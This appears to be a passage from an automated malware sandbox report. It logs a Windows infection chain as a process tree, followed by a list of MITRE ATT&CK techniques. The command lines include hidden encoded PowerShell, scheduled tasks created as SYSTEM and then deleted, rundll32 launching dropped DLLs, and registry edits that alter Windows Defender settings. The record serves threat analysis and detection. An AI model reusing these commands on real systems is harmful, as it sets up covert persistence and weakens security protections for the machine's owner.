- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gfsXRzUaE" /SC once /ST 02:30:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:2316
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gfsXRzUaE"
  2⤵
  PID:3376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gfsXRzUaE"
  2⤵
  PID:4988
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "CHeJVxoJwhzmREGSo" /SC once /ST 03:18:00 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\OOyEleK.exe\" sG /site_id 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4180
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "CHeJVxoJwhzmREGSo"
  2⤵
  PID:4312

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Executes dropped EXE
PID:3132

C:\Users\Admin\AppData\Roaming\rvfjvuu
C:\Users\Admin\AppData\Roaming\rvfjvuu
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1624

C:\Users\Admin\AppData\Roaming\iwfjvuu
C:\Users\Admin\AppData\Roaming\iwfjvuu
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1416
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4968

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4364

C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\OOyEleK.exe
C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\OOyEleK.exe sG /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:3756
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "booXbIzkEgfNdKvxAC"
  2⤵
  PID:2732
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:3528
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:4620
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:3688
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:2284
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\QMuGxDzxU\TZovTG.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cPyDayBYNpjUpuO" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2924
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "cPyDayBYNpjUpuO2" /F /xml "C:\Program Files (x86)\QMuGxDzxU\TfCyIGQ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "cPyDayBYNpjUpuO"
  2⤵
  PID:4524
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "cPyDayBYNpjUpuO"
  2⤵
  PID:4460
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "CKLLrKbBjRttlf" /F /xml "C:\Program Files (x86)\YhmfbgEUeceU2\EHhUioN.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QtMzpEnQzbovF2" /F /xml "C:\ProgramData\hnkumIqTRwUxQLVB\htKcfQd.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4364
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jDcNWoQEywoxNtiMi2" /F /xml "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\XocBDHg.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3492
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "DwrQigzmMruJpsQaMBv2" /F /xml "C:\Program Files (x86)\iTBLcazoBHNRC\HNFIVRS.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "oCvyuKWvFtUoYKNPA" /SC once /ST 01:10:42 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\RHdUtmclRPrQNqWD\keCmnowD\AwsCnEs.dll\",#1 /site_id 525403" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4664
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "oCvyuKWvFtUoYKNPA"
  2⤵
  PID:940
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:4156
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
  2⤵
  PID:1400
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:1768
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "CHeJVxoJwhzmREGSo"
  2⤵
  PID:2408

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\keCmnowD\AwsCnEs.dll",#1 /site_id 525403
1⤵
PID:1728
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\keCmnowD\AwsCnEs.dll",#1 /site_id 525403
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  PID:4744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "oCvyuKWvFtUoYKNPA"
    3⤵
    PID:544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery